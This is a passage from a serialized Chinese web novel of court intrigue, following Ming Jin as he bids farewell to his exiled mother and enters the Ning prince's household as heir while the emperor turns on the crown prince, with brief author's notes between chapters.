“没事,放心吧,”他抱紧了怀中的女孩安慰道,又仿佛是在喃喃着说给自己听,“有哥在呢,先生也会为咱们保驾护航,只要人还活着就行。” 他向阿囡郑重其事地承诺道:“有我在,明家倒不了。” 阿囡用力点头。 “我去城外看看情况,官兵是朝哪个方向走的?”明瑾擦去她脸上的泪痕,沉声问道。 阿囡给他指了个方向,又急切道:“我刚才看了,后院拴着马,似乎是他们平时用来拉货的。但哥你一定要小心,要是你也出事的话……” 她说着,眼泪又要掉下来。 明瑾勉强笑了笑:“放心,你又不是不知道,你哥我机灵着呢。到时候我见机行事,肯定不会出什么问题的。” 他这样说,也不是全无依仗。 当初黄甲也是被判全家流放,但阿囡被先生偷偷藏了下来,带到明家,就说明这其中也不是不能暗中操作。 明瑾宽慰自己:等这阵风头过去之后,说不定,他就可以把娘他们接回来了! 但想到流放路上的苦,和娘的身孕,明瑾只恨自己没用。 爹娘白养他到这么大,他却不能为他们分忧,甚至还要让他们反过来牵挂自己的安危。 若是他手中有权,哪怕只是一点点,是不是一切都会变得不一样? 明瑾从前完全不能理解,为何那么多人挤破脑袋也想做官,做了官又不知足,心心念念地想要继续往上爬。 但现在他似乎有些明白了。 在这世道下,官场险恶,稍有不慎就是万劫不复;可若不在朝堂之上,少顷风浪便能将船只颠覆,甚至连反抗的余地都没有。 想到当初晏祁在听到自己说那些话时,恨铁不成钢的眼神,和对他想法的喟叹,明瑾闭了闭眼睛,这才明白,自己那时究竟有多天真。 不过现在反省这些也是无用。 明瑾接过阿囡递来的缰绳,翻身上马,对她说道:“等我回来!” “驾!” 今晚的月光很亮。 玉盘映照在瘦湖的水面上,被夜风吹皱,落得一湖粼粼碎光。 金柳骑在马上,望着夜空,忽然心声感叹:“一晃就是这么多年过去了,上次半夜来这时,下官还只是位小小的锦衣卫佥事,还是同知来着?唉,都记不清了。” “对了,殿下今日怎么有兴致来此地了?下官记得,陛下好像是把彻查的工作交由了太子殿下吧,难不成,是有人托您过来,送这些流放家眷们一程?那这些罪官可真是天大的面子……” 晏祁不答,只是沉默地骑着马,走在他边上。 金柳那半是调侃、半是刺探的话语,对于现在的他来说,犹如过耳清风,根本不被他放在心上。 他的视线落在身边缓慢前进的流放队伍上,这支队伍里大多是受这次风波牵连的老弱妇孺,但相比起那几位主谋,他们还算幸运,毕竟还留下了一条命。 金柳本想再和宁王说上两句,忽然队伍末尾传来一阵骚乱,这熟悉的既视感让他眼皮一跳,心道果然,宁王一出现他就知道今晚这趟差肯定是太平不了。 不然的话,身为锦衣卫指挥使,他也不会亲力亲为地把人送到城外。 他勒紧缰绳,回头张望了一眼,但夜色茫茫,即使有火把,漫长的队伍尽头也看不太清楚。 “似乎是有人擅闯队伍,被官兵拿下了,”他笑眯眯地对宁王说道,“殿下可要同去看看情况?或许是认识的人呢。” “不了,金指挥使自便。”晏祁冷淡道。 金柳耸了耸肩,一个人调转马头,朝着那个方向走去。 走近之后,看到被压在草坪上的少年,他啧了一声,自言自语道:“我就说嘛,肯定是认识的人。” “放开他吧。”他下令道。 身上的压力一轻,明瑾龇牙咧嘴地站起身,扭了扭膀子,朝金柳行礼道:“多谢指挥使大人。” 金柳也不跟他废话,直接道:“跟上,你要找的人在前面。” 明瑾愣了一下,也没问他是怎么知道自己要找谁的,赶忙牵着马小跑过去。在看到男人骑在马上的背影时,他慌乱地低下头,抹去眼角不知何时渗出的泪水,视线一转,忽然凝固在了流放队伍中的一处。 “……娘。” 他抖着唇,发出一声几乎颤抖得不成样子的呼唤。但声音太过微弱,除了他自己,几乎没人能听见。 “殿下,人我给你带来了。” 金柳意味深长的声音自身后传来,晏祁沉重的心绪被再度打断,他冷着脸转头望去,却在看到湖畔少年牵着马,眼眶通红地朝他看来时,瞳孔骤然收缩,连呼吸心跳都乱了一拍。 “你——”怎么在这里? 其实不必问,在看到明瑾的那一刻,晏祁就什么都明白了。 这孩子,果然还是不会乖乖听话。 不过这一点,自己早就知道不是吗? 短短一瞬间,晏祁心念急转。 他知道明瑾出现在这里的原因和目的,这孩子是他教出来的,他比谁都了解明瑾的心性,这孩子属于平时吊儿郎当不正经,但关键时刻能咬着牙独挑大梁的,即使突遭大难,也不会完全乱了方寸。 所以明瑾这么做,就是在逼他。 他宁愿和明敖一样,以身入局,也不想自己被单独抛下。 晏祁心里既欣慰,又复杂辛涩,他翻身下马,大步朝明瑾走过去,在金柳和周遭官兵们或是看热闹、或是好奇探究的注视下,垂眸盯着他,冷声道: “逆子!这大晚上的,还不赶紧回家?”  —— 作者有话说:好,这回真成爹了[求你了][求求你了]三章内把皇帝老登解决掉,正好还能赶上庆祝国庆假期hhh《 》 60-70 第61章 “……父亲。”…… “逆子?” 金柳高高挑起眉毛, 旁边的锦衣卫更是目露震惊,视线在明瑾和晏祁之间来回扫视——这少年,难不成就是宁王府那位过继来的世子? 可不是说, 这位宁王府世子体弱多病, 基本不能出门见人吗? 眼前这位少年, 身形虽然的确瘦挑,但一双眼眸炯炯有神, 眼底像是燃着两簇火焰, 一点儿也不像是常年卧病在床的样子。 这边的动静,很快被流放队伍中的家眷们察觉。 晴儿拖着沉重的步伐,浑浑噩噩地抬起头,在看到火光映照下明瑾的脸庞时,她浑身一震, 连忙扯了扯身边女人的衣袖:“夫人, 快看, 是少爷来了!” 文轻尘被她一路搀扶着走到这里, 体力已有些不支,在看到明瑾时, 她苍白的脸颊上浮现出一丝不正常的血色,神情之中悲喜掺半。 但她只是深深地凝视了明瑾一眼,便收回了目光。 “别忘了先前吩咐你们的,”她哑着嗓子说, “谁也不许喊他,听到没?” 这孩子不该来的, 文轻尘想。 但她不得不承认,临行前能再见上这孩子一面,她心中不知有多欢喜。 文轻尘忍不住又看了一眼。 她眼眶发酸地心想, 这段时间这孩子都没好好吃饭吗?怎么离了家连好好照顾自己都做不到,才几天功夫,就瘦成这样…… 少年往日带着几分婴儿肥的脸蛋,消瘦了一大圈,也因此显出眉眼和下颌的坚毅棱角来。 在夜月映照之下,一双漆黑眼眸晦暗沉郁,远远望去,颇有几分君侯华胄的萧疏意味。 他站直原地,直直地与晏祁对视,眉头紧蹙着,嘴唇动得很快,似乎是在交谈着什么。 不多时,又转向金柳商量起来,举止间从容有度,俨然一副能够独当一面的大人模样。 文轻尘忽然惊觉,明瑾是真的长大了。 她既自豪又心疼,逼着自己扭过头,不再去看那边,戴着对于如今身子来说过于沉重的枷锁,咬着牙往前走。 突然,耳畔响起晴儿小声的惊呼,伴随着一阵急促的脚步声,文轻尘脊背瞬间绷紧。 她不敢回头,怕自己会空欢喜一场,又担心这孩子感情用事,坏了宁王的安排,反倒把他自己也搭进去。 不,她不能回头,绝对不能—— “娘。” 一道轻轻的、颤抖的声音响起。 一刹那,便将文轻尘筑起的高高心防撞得支离破碎。 她僵硬地转过身来,红着眼睛看着同样眼眶通红的明瑾,嘴唇颤抖着,想要说些什么,但话到嘴边,却变成了:“小殿下……怕不是认错人了吧?” 明瑾的喉结滚动,他想说怎么可能,就算化成灰,碾成粉,他这辈子也绝不会认不出来娘的样子。 但当他看到文轻尘乞求地冲他微微摇头时,明瑾无论如何也开不了这个口了,这种体验,就仿佛生生吞下了一块不规则的石头,在血肉里滚动,硌得他鲜血淋漓, 明瑾攥紧双拳,低下头,敛去眼底闪烁的水光,上前一步,用钥匙取下了她身上的枷锁,又从怀里掏出了一个油纸包包裹着的热乎乎东西,塞进文轻尘的怀里。 “这是……” 文轻尘一眼就认出来了,这是她最爱吃的那家李记葱油烧饼。 可这大晚上的,这孩子上哪儿买的新鲜出炉的烧饼? 而且这么远的距离骑马赶过来,烧饼居然还滚烫,散发着热气腾腾的香气,也不知道这孩子焐在怀里保温时,有没有被烫到。 文轻尘还有太多话想对明瑾说。 在她心目中,明瑾永远是那个乖乖坐在她身前,任由自己梳发的小男孩儿。 大部分时候,文轻尘都是明家拍板做决策的那个人,但唯有关乎到明瑾的事情上,她尽量不参与,放手让明敖去做,后果则由他们两人一起承担。 因为文轻尘知道,自己没办法狠心把明瑾推出去,让他独自面对这世间的困难险阻。 慈母多败儿,长此以往,明瑾是没办法真成长起来的。 但如果可以的话,文轻尘更希望他永远都长不大。 “多谢小殿下赏赐,”她说,语气已经恢复了平静,但望着明瑾的眼神仍带着眷恋和不舍,“天色已晚,您大病初愈,也该同宁王殿下回府休息了。” 明瑾不愿回去。 可他知道,自己不得不离开。 想要拦下队伍是不可能的,现场如此多的锦衣卫和官兵们都还在看着呢,纵使有金柳帮忙遮掩,但也不能露出太过分的马脚,以他现在的身份和手中几乎约等于无的权力,最多只能帮娘去掉身上的枷锁,减轻些路上的负担。 “你们要、保重好自己,还有……”明瑾凝视着文轻尘,许久后,又望向围在娘四周的其他人,深深道,“——就拜托诸位了。” 他承诺道:“我们会再见的。” 明瑾在说话时,整支流放者的队伍都停下了。 短暂寂静后,晴儿第一个开口了。 她红着眼睛道:“您放心吧,我们会照顾好夫人的!” 在官兵来之前,文轻尘就遣散了家中大部分下人,剩下她们这些,基本都是昭明军中遗孤。 就比如晴儿,她也是可以离开的,只要找个人嫁出去,彻底与明家割席,就不用受这一遭罪了。 文轻尘也告诉她,若是夫婿家待她不好,就去宁王府找明少爷,晴儿也相信,明少爷一定会为她撑腰。 但她拒绝了夫人的安排,执意要陪在她身边——这一路不知还要经历多少艰险,夫人又怀着身孕,若身边无人照看,恐怕别说保住孩子了,自己也要一命呜呼! 这么多年,文轻尘待她就像对待女儿一样,晴儿怎能眼睁睁地看着夫人受苦?就算明少爷不说,她也会拼尽全力照顾好夫人的。 而且夫人也同他们说过,只有明少爷才能让明家有翻身的机会,只要咬牙挺过这一关,明家迟早有再度辉煌的时日!届时他们这些明家的老人,自然也能等到被接回京中,重获新生的机会。 晴儿对夫人和明少爷深信不疑。 明瑾自然看到了她眼中的这份信任,他再次朝眼前对明家忠心耿耿的众人行了一礼,随后强迫自己不再多看,转身朝着晏祁走去。 “宁王殿下,这可不合规矩啊。”金柳叹道,“这要是被太子殿下或是陛下知道了,下官轻则官职不保,重则人头落地,实在是难办呐。” 他虽然嘴上说着难办,面上却丝毫瞧不出任何愁容,反倒唇角勾起,露出一副带着几分兴味的笑容来。 ……疯子。 明瑾在心中腹诽。 经过几次的接触,他也算是摸清了些这位锦衣卫指挥使的性格,说他笑面虎都算是抬举了,根本就是个恨不得天下大乱的疯子,连自己的命都不怎么当回事,偏偏对外还非要表现得跟个正常人似的。 若是信了他的话,或是看破了些许表象,因此而觉得这人不靠谱而轻视他,那就大错特错了。 金柳真正想要的东西,或者说把柄,应该只有先生才知道,不然先生不会冒险同这样性格捉摸不定的人合作,风险实在太大了。 明瑾毫不怀疑,若是金柳决意背叛,自己当晚就能出现在北镇抚司的大牢里,被严刑拷打审问。 这人就是个翻脸如翻书的家伙。 锦衣卫在他手上,对他们而言就是一把双刃剑。明瑾现在只希望,押送的官兵们能看在自己今晚这一番作为的份上,对娘他们宽容照顾些吧。 他方才问了晏祁,果不其然,晏祁已经帮他给过这些人好处了,还相当丰厚,怪不得这些官兵都表现得如此耐心。 “发呆够了?上马。” 晏祁的声音打断了明瑾的思绪,他低低地应了一声,跨上马背,最后看了一眼夜月清辉之下,湖畔远去的蜿蜒长队,仿佛在这一刻,也同自己的少年时代做出了告别。 该长大了,明瑾对自己说。 爹娘都还要靠他去救,明家也需要他来重建,还有先生……无论如何,先生都绝不能出事! “驾!” 他勒紧缰绳,调转马头,同晏祁一前一后,朝着与流放队伍相反的方向疾驰而去。 绵延数百里的大雍城墙屹立在夜幕星空之下,狂风自耳畔呼啸而过,明瑾纷乱的心情渐渐平静下来,他不自觉地望向左侧前方的晏祁,却只看到了男人紧绷的侧脸。 “先生……” “等下进城之后,你该叫我什么?” 晏祁偏头瞥了他一眼,眸光在晦暗的光线下看不清喜怒。 “既然你有胆来这里,有些东西,你应该已经自己想明白了,”他淡淡道,“应该不需要孤再教你了吧?” 但他的声音很冷。 或许是因为气愤于明瑾的不听话,更气愤于他今晚的自作主张,晏祁不仅用了这个表明身份的自称,更是直接把这个选择抛给了明瑾。 明瑾沉默了。 许久之后,他低下头,死死地盯着马背上被风吹乱的鬃毛,嗓音嘶哑地回答道:“我明白的。” “……父亲。” 他知道这是必须要的,假如他想要上桌,成为有资格与那些当权者对弈的对手,那就只能借助宁王府世子这个身份。 他知道,这也是晏祁一直以来希望的。 但不知为何,明瑾却觉得,先生似乎并不那么开心。 应该是错觉吧。 明瑾睁大眼睛,视线始终追随着前方那道挺直的背影,因为这样,风就可以吹干他眼睛里的泪水了。 他其实一点儿也不想当这个狗屁世子,更不想当晏祁的儿子。 此时此刻,明瑾只想把晏祁拽到自己面前。 然后,狠狠吻他—— 作者有话说:卡卡卡卡卡……耗费了比平时更多的时间,终于憋出了一章[化了]谢天谢地终于把这段从师徒情侣到君臣父子的过度写完了,下一个大剧情就是喜闻乐见的文案内容啦[狗头] 写完这章时满脑子都是中式父子,什么“最不敢直视的就是父亲的那双眼睛”哈哈哈,突然发现可以完美代入这俩~ 第62章 当媳妇还是当儿子…… 一开始, 明瑾的打算是等回去之后,再找晏祁好好谈谈。 但他想到还在宁府等待自己消息的阿囡,实在不忍心叫她一个人大半夜的苦等, 便和晏祁打了声招呼, 先回宁府看了她一趟。 “……事情大概就是这个样子, ”明瑾把今晚自己的经历和阿囡复述了一遍,又告诉了她接下来自己的计划, “我准备去宁王府了, 阿囡,抱歉。” 他神情愧疚:“我这边,可能暂时顾不上照顾你,等我摸清那边的环境,一定尽快把你接过去。” 阿囡摇摇头:“我没事, 哥你不用管我, 宁府这边有吃有喝的, 又饿不着我。再说了, 我都这么大的人了,又不是孩子, 难道不会自己照顾自己吗?” “倒是你,”她看着明瑾,上前替他掸去衣襟上的草屑,忧愁道, “哥,他们都说一入侯门深似海, 我看那宁王府八成也差不多。” “虽然你不是嫁过去给人当媳妇,但给人当儿子,应该也好不到哪去, 就算先生待你好,也免不了其他人有别的心思,你自己在王府,可一定要小心呐。” ……当媳妇还是当儿子,其实区别都不大。 明瑾心虚地干咳一声,无奈道:“我会注意的,放心吧。不过你才十二岁,怎么不算孩子了?” “才不是,我早就长大了!” 阿囡恼火地大声抗议道。 明瑾突然愣住了。 他看着面前眼神倔强的阿囡,恍惚间,仿佛穿越回了数年之前。 如今的他,已经到了能够理解晏祁的年纪。 可明瑾也同样与阿囡感同身受,由于身世坎坷,她从小就比旁人更早熟,有时看待问题的角度连明瑾都意想不到。 她就和当初的自己一样,渴望成熟,渴望尽快长大,不希望年长者将她视作孩童,在事情发生时只能旁观却无力阻止,心中徒余深深的挫败感。 但无论她再如何早熟,十二岁的年纪,仍无法磨平由时间造就的阅历鸿沟,或许三十岁往后,五年的差距约等于无,但在十几岁时,五年便是天差地别。 明瑾不自觉地弯下腰,与阿囡平视。 “好,是哥哥说的不对,我们的阿囡已经是大姑娘了。”他笑道,“但现在我要做一件大事,如果成功了,或许就可以救下爹娘和整个明家的人,阿囡,如果真有那么一天,你愿意助我一臂之力吗?” 阿囡朝他展露了一个大大的笑容: “当然!” 她竖起小拇指:“拉钩?” “——拉钩。” 明瑾在宁府待了两个多时辰。 因为担心阿囡一个人害怕,睡不着或是又做噩梦,他便代替娘陪在她身边,在阿囡床边讲了一整晚故事。 从孙猴子大闹天宫讲到水浒传打方腊,再到沉香劈山救母,明瑾讲得口干舌燥,到最后自己都昏昏欲睡,不知道在讲些什么了。 “最后沉香劈开华山,成功救出了他舅舅二郎神,两人在桃园结为义兄弟,然后幸福地生活在了一起……” 明瑾坐在床边,思维放空,完全处于一种胡说八道的贤者状态。 直到听到床上少女均匀的呼吸声,他方才回过神来,松了一口气。 太好了。 阿囡终于被他哄睡着了。 兴许是因为思虑太重的缘故,尽管一晚上没睡,明瑾却没什么困意。他站起身,学着母亲的样子,替阿囡轻轻掖好被子,然后悄无声息地离开了房间。 第一缕晨曦照向大地时,他来到了宁王府的大门前。 也不知道先生晚上有没有休息,明瑾望着恢弘的王府朱门,默默想道。 正沉浸在自己思绪中的明瑾没有察觉到,暗处交头接耳。 “来了吗?” “来了来了!就是他!” “快,都准备起来!” 明瑾毫无知觉地迈过门槛。 “呯!” “——恭迎世子殿下回府!!!” 明瑾吓得浑身一激灵,望着左右两侧不知从哪里冒出来的一堆人,下意识把迈出去的脚又收了回来。 这……这是在闹哪样!? “咳咳,”为首的那位管家清了清嗓子,对呆愣在原地的明瑾躬身行礼道,“世子不必慌张,殿下昨晚便吩咐过我们迎接您了。今日一见世子,果然是相貌堂堂,英俊倜傥,年少俊才啊!” 明瑾被他夸得头皮发麻,忙道:“多谢,但大可不必这么大阵仗。” “唉,这怎么行呢,”管家一脸不赞同地看着他,“您可是宁王府的世子啊,宁王殿下唯一的儿子,将来是要继承这王府的。我们这些下人,自然要奉您为首,尽心侍奉才是。” 明瑾勉强笑了一下,看着周围人或是好奇、或是探究的视线,虽然没人敢明目张胆地打量,但还是有种被当成猴看的感觉。 “还是带我直接去找他吧,他人在哪儿?”他有点儿受不了这种氛围,对管家说道。 管家了然:“世子是问宁王殿下吗?殿下正在书房见客,暂时不让人进去打扰,不如您先跟我们去卧房看看,顺便洗漱换身衣裳?” “……行吧。” 明瑾初来乍到,决定先听从这位管家的安排,谨慎行事。 这管家带着乌泱泱一大帮下人来迎接他,美其名曰是让他认个眼熟,但难免也有要给他个下马威的意思——或许是明瑾多想了,但正如他和阿囡说的那样,宁王府到底不比他从小长大的明家。 他在这里,即使有着世子的身份,也必须要谨言慎行。 这府里府外,还不知有多少双眼睛在盯着他,明瑾可不想师出未捷身先死,爹娘没救成,先把自己给搭进去了。 但是…… 他好像还是低估了亲王世子的规格。 明瑾裹着毯子从浴池中跨出,难以言喻地看着恭敬跪在自己面前的几位侍女,她们手中是他即将更换的中衣、外袍、腰带还有熏香佩饰,其中也包括他的那块长命锁。 “以后不需要这么多人伺候,”他换好衣服后,对管家说道,“我不习惯。” 管家微微一笑:“此乃宁王府历来的规矩,世子会习惯的。” 明瑾停下动作,面无表情地瞥了他一眼。 “这王府上下,以谁为尊?” “自然是宁王殿下。” “其次呢?” “……是世子您。” “既然知道,那就照办。”明瑾淡淡道,“在这府上,除了宁王,我说的话就是最大的规矩。” 管家一时语塞。 他看着明瑾,从那似曾相识的神态、语气之中,仿佛看到了晏祁的影子。 这次他心甘情愿地低下了头:“是。” 半个时辰后。 “他是这么说的?”坐在书桌后的晏祁挑眉问道,见管家点头,唇边不由得勾起一抹笑容来,“孤早就说过,不要随意试探他,这孩子可不是什么省油的灯。” 管家苦笑着应是。 “下次注意着点,”晏祁收回视线,继续翻动手中的书页,仿佛只是随口一提,“他说的没错,在王府里,说出的话能算得上规矩的人只有两位。” 管家神情一凛,当即跪下请罪。 “不必,我知你忠心,只是类似于今日之事,以后不可再有。”晏祁摆摆手让他站起来,管家谢过之后,又犹豫着说道:“还有一件事,殿下,他一直说想见您……” “不见。” 晏祁捏着书页的手指一紧,拒绝的话几乎是下意识便脱口而出。 管家小心翼翼道:“那殿下,这次要用什么借口?” 晏祁深吸一口气,不耐烦道:“自己想去。” 管家悻悻然走出了书房,扭头便对一旁候着的侍女道:“去给殿下准备些凉茶,最近天热,火气也忒大了些。” 他跟木云关系还不错,也通过这位提前知晓了一些宁王殿下和世子间的种种纠葛,但管家只当殿下是为管教不听话的孩子而生闷气,心里还在琢磨着,要用什么办法让这对父子俩有个私下相处的机会,好好化解一下矛盾。 父子之间,哪有隔夜仇的? * 有关宁王府世子的消息,在晏祁的推波助澜之下,很快便传遍了整个京城。 明瑾自那之后没有再去过书院,晏祁直接帮他请了一个长假,归期未定。 但他私下里见了张牧他们一面,跟他们讲清楚了事情的原委。张牧沉默许久后,捶了他的胸口一拳:“总之只要你没事就好,伯父伯母的事情,我也会帮着想办法,你在宁王府若是有什么需要,随时来找我。” 李司也紧随其后,表示俺也一样。 “多谢。”明瑾没有推辞。 因为他现在,的确是最需要助力的时候。 荀婴则干脆利落地表示宁王府需不需要幕僚,他虽然还未毕业,但可以提前代劳,当天就回家告别了母亲,收拾包袱入驻了宁王府。 与他一起的,还有陈叔山。 明瑾叫管家都为他们准备了客房,有他们二人在,他在宁王府的底气一下子就足了许多——至少,他现在有属于自己的门客了。 而在宁王府之外,关于他的消息,也传得是沸沸扬扬。 有人说是宁王花重金求得了一位神医,治好了世子之病;有人说其实世子压根儿没病,只不过是宁王同一名女奴所生,身份卑贱,直到十余年无所出才不得不封为世子;也有人说,是这世子得了麻风病,样貌丑陋无法见人,直到多年后脸上的伤疤才得以痊愈消退。 皇宫中沉迷酒色炼丹的晏珀听到这些传言,不置可否,转头却直接招来了金柳:“宁王那个世子,究竟是怎么回事?” 金柳知晓他最关心的问题,恭敬回禀道:“陛下,这少年臣曾偶然见过一面,只不过,是在臣那楼里。” 晏珀眯起眼睛,语气不善道:“哦?既然能去那种地方,就说明不是什么天生体弱之人,那看来宁王一直以来,都对朕有所欺瞒了?” 他如今身体大不如从前,被酒色掏空,又被那些炼丹士的种种“龙精虎猛丹”、“金刚不坏丹”强行刺激,成了个虚有其表的花架子,不仅暴躁易怒,甚至大部分时候,连脑子都浑浑噩噩的。 为了“吸收晨露”,他甚至连大半的早朝都推了,每日只吃些新鲜的素菜,睡眠的时间还不到三个时辰,几乎要把自己活生生地熬成人干。 越疲累、越亢奋,这种轻飘飘的状态,晏珀却觉得是自己即将成仙的征兆,也因此愈发投入其中。 只是他现在毕竟还是人间的帝皇,不会允许有人来与他争夺权柄,即使是他自己的亲儿子,也不可以,更遑论宁王那个不知从哪儿冒出来的野种。 “陛下不必担忧,”金柳盯着晏珀如有实质的目光,嘴角却露出了一丝淡淡的笑意,“那位世子来臣这儿,其实是为了一个男人。” 这话他可以是不掺半分虚假。 晏珀想到了先前自己把那男宠赏赐给晏祁时,男人浑身僵硬下意识想要退拒的模样,若有所思道:“难不成,这世子好男风,宁王看不惯他,所以才一直把他拘着,不让他出来见人?” 金柳并不正面回答,只是笑道:“宁王一看便为人古板,若如此说来,倒也在情理之中。” 对待上位者,最好让他采纳意见的方法,并不是给他提出意见,这反而会招致对方下意识的提防和回避,认为下属这样做是别有目的。 像这样,通过话语中的细枝末节,引导对方自己思考得出想要的答案,恰恰是最高明的技巧。 金柳用三言两语便将此事糊弄了过去,晏珀很快便问起了另一个话题,这才是他今日招金柳进宫的主要目的:“太子那边,他查得怎么样了?” “回陛下的话,太子对此事尽心尽力,每日清晨便到刑部和北镇抚司询问查案进程,目前二皇子党羽已被连根拔起,其中几名乱党首恶,都由殿下亲自督办审问,确保无一疏漏。” 金柳说着,从怀中掏出一本册子呈上,“陛下请看,这是太子殿下亲笔书写的审查纪要,内容十分详尽。” 晏珀听完,却并不显露喜色,相反,他紧紧皱起眉头,接过册子随手翻了翻,发现确实如金柳所说,太子这次任务,完成的实在是太漂亮了。 漂亮得都不像是平时的他了。 “这逆子,果然是狼子野心!”他冷哼一声,啪地合上册子,不耐地丢到了一旁,“平时叫他办个事,那是各种小心思拖延捞好处,如今查他亲弟弟,倒是积极起来了!” 金柳垂下眼眸,明智地没有在此时选择出声。 但他却不禁在心中感叹: 宁王殿下这招,可真是高啊。 若不是把陛下和太子的性格彻底摸透了,怎么会想出让他暗中建议太子,写下这些纪要向陛下邀功的办法? 在太子和旁人看来,这的确是一个好主意,但他们没考虑到陛下现在的状态——猛兽垂死,日薄西山,纵使往日杀伐果断,也难免顾念亲缘旧情。 他因二皇子谋逆一事大动肝火,把查乱党的任务交给太子,这是情理之中,但太子一改往日作风积极表现,陛下可不会觉得这是件值得嘉奖的好事,只会觉得太子迫不及待地想要弄死自己的手足兄弟,丝毫不顾及亲情。 那等将来他老了,奄奄一息时,太子会怎样对待他这个父亲? “陛下,臣最近听闻一件关于太子的事情,不知当不当说。” 金柳装出一副犹豫的模样,故意引诱晏珀下套。 果然,晏珀烦躁道:“说吧!别吞吞吐吐的,你的主子是朕,还不是太子呢!” “陛下说的是。”金柳垂首道。 “近来城中疯传,太子殿下的府上多了一位天姿国色的伶官,年仅二八,才艺双绝。” 晏珀眉头抽动,刚想骂那个不成器的东西天天不务正业,但想到自己宫里也养了一位,只能气闷地把话吞了回去。 好的不学学坏的! “就这事?” “您说过,太子的的一举一动,锦衣卫都要向您汇报,”金柳轻声道,“为了太子殿下的人身安全,臣也派人去查了那位伶官,身份没有问题,只是……” “只是什么,说!” “只是,那伶官背上,也有一片龙纹样的胎记。” 朝堂皆知,当初晏珀宠信那位伶官,很重要的一个原因,就是他笃信自己乃大雍明君,上天会降下祥瑞之兆。 而本朝的祥瑞之兆,除了各地陆续搜寻来的白化动物之外,最荒唐也是最离奇的,就要属晏珀数年前在外伪装身份嫖.妓听曲时,在一个伶官身上看见的龙纹胎记了。 朝廷一些拍马屁的大臣为此还专门写诗赞美,说这是“受龙气感召,龙精显形了”,虽然思之令人发笑,但晏珀还真的信了。 现在金柳却告诉他,太子在自己府上也养了一个这样的!? 这逆子究竟是野心勃勃,还是当真身怀龙气,晏珀已经不想去考虑了,他一拳锤在扶手上,苍白干瘦的脸颊浮现出一抹不健康的红晕,一双阴鸷眼睛死死地瞪着跪在下方的金柳—— “叫那逆子进宫见朕!”他咆哮道。  —— 作者有话说:没写满六千,今天就不算二更了,希望明天能多写点,助力老登早日升仙[求求你了][求你了] 第63章 【二合一】 怀揣着不可告人心思…… 太子接到晏珀的突然传召, 还以为是自己近来的表现优异,父皇准备嘉奖他。 结果他高高兴兴地进了宫,却被晏珀拐着弯地骂了一圈, 指着他册子上写的内容各种挑刺, 骂得他整个人都懵了。 虽然满腹怨气, 但晏珀多年来积威还是让太子识趣地跪下请罪,并恳切表示, 自己一定会尽快查办结案。 这番话, 却再次戳中了晏珀内心深处不可告人的隐痛。 尽快查办结案……他咬牙瞪着太子,恨铁不成钢地想,这混账东西,当真不念半分亲情,就这么希望把自己的亲弟弟弄死吗! “孽子!” 盛怒之下, 他脑袋一热, 直接把手边的东西砸向了太子。 太子短促地叫喊了一声, 躲闪不及, 竟被当场砸得头破血流,晏珀面色一僵, 这才发现自己竟把一个用来当摆设的古董花瓶扔了出去。 到底是自己的亲生儿子,他看着太子捂着脸,鲜血顺着指缝流淌的凄惨模样,心中也难免泛起愧疚之意, 张了张嘴,道歉的话却怎么也说不出口。 ——他是帝王, 怎么能道歉? 哪怕那个人是自己的儿子,也是一样。 帝王是不会有错的。 所以最后,晏珀只是硬邦邦道:“记住这次教训, 下不为例。来人,快传太医为太子医治!” 趁着太医为太子医治的功夫,他又叫人去宫里取了一些名贵药材赏赐给太子,在晏珀看来,这就算是他的服软道歉了。 但太子勉强睁开眼睛,看到镜子里自己额头上的伤疤,足足两寸有余,自额角一直到眉尾,花瓶碎片差一点就要划破眼睛和太阳穴,叫他变成一个目不能视的残废。 这是亲爹能做出来的事!? 太子捏紧了拳头,恨得咬牙切齿,心中仅存的那一点亲情眷恋就此消失得荡然无存。 但表面上,他只是在包扎后便挥退了太医,云淡风轻地向父皇致谢,并再次恳切表示自己已经明白了自己的过错,接下来一定不会再让父皇失望了。 晏珀对他的这番话不置可否。 但在太子离开前,他淡淡道:“听说你府上养了个男宠,你年纪轻轻,容易遭人蛊惑,那男宠身份存疑,锦衣卫怀疑是大宛派来的探子,朕已经叫人把他先带走审问了,你可有意见?” 太子恭顺道:“儿臣御下不严,此事任凭父皇安排。” “很好,”晏珀说,疲累地揉了揉太阳穴,“你退下吧。” “哦对了,还有一事。” 他似是不经意地提起:“宁王的那位世子,有空你去接触一下,身为储君,这一次,你可要好好管教家族里的兄弟。” “……是。” 太子恭敬应下。 转身离开的那一刻,他脸上瞬间恢复了冰冷。 回到府邸,太子刚下马车,就听到了一声哭喊,他心烦意乱地抬头望去,发现发出声音之人正是自己昨晚宠幸的伶官。 那伶官正被两个锦衣卫强行押送上马车,余光看见他,宛若看见救星一般,拼命挣扎起来,喊道:“殿下救我!” 太子站在原地,一动不动。 伶官原本满是期冀的眼神逐渐绝望,他眼中溢满泪水,看上去楚楚可怜,太子闭了闭眼睛,终究是迈步走了过去。 其中一位锦衣卫谨慎道:“太子殿下,这是陛下下达的旨意……” “滚。” 另一位锦衣卫赶紧给同僚使了个眼色,给了太子一个台阶下:“殿下若有话交代,还请自便。” 说完便拉着同僚走到了一边。 太子是不可能为了区区一个伶官违背陛下旨意的,这一点,在场所有人都很清楚。 这个所有人里面,自然也包括了太子本人。 “鹤琴,”他低声唤着伶官的花名,忽然伸出手,把人搂进了怀里,“你受苦了。” 鹤琴的眼中弥漫上水汽,他红着眼眶依偎在太子怀中,颤声唤道:“殿下……” 太子不舍地抚摸着他的脊背,指尖在鹤琴身上的龙纹胎记上轻轻摩挲,眼中闪过一道厉光:“委屈你一段时间,放心,若是你没有问题,锦衣卫应该不会拿你如何的。等……之后,孤一定把你接回宫,给你封官,甚至是封侯!” 鹤琴睁大眼睛,不可置信地看着太子。 但太子已经一横心,将他推开,扭头对站在那边的锦衣卫道:“替孤给金柳带句话,孤的人没有问题,他若是敢滥用私刑,孤一定拿他是问!” “殿下!” 身后的呼唤更加凄厉,但这一次,太子头也不回地离开了。 回去之后,他立刻招来了手下的幕僚,忍无可忍道:“父皇薄情寡义,丝毫不顾念父子亲情,脾气也愈发古怪难测,若孤现在不是他唯一的儿子,恐怕今日之事,就够孤喝一壶的!” 他还有半句话没说,就是难怪老二要反。 在老二死后,太子反而能共情起了自己这个兄弟,虽然他们曾是最大的竞争对手,但本质上,两人的处境其实是一样的。 他若处在老二那个位置,估计也要被那老东西逼得不得不反。 “殿下息怒,”幕僚道,“陛下年岁渐长,力不从心是事实,如今您放眼望去,大雍已无人再能与您竞争皇位,何不耐下心来,等待时机?” 这话倒是提醒了太子,他冷声道:“虽说我是父皇唯一的儿子,但那个最近刚冒出来的宁王世子,又是怎么一回事?” 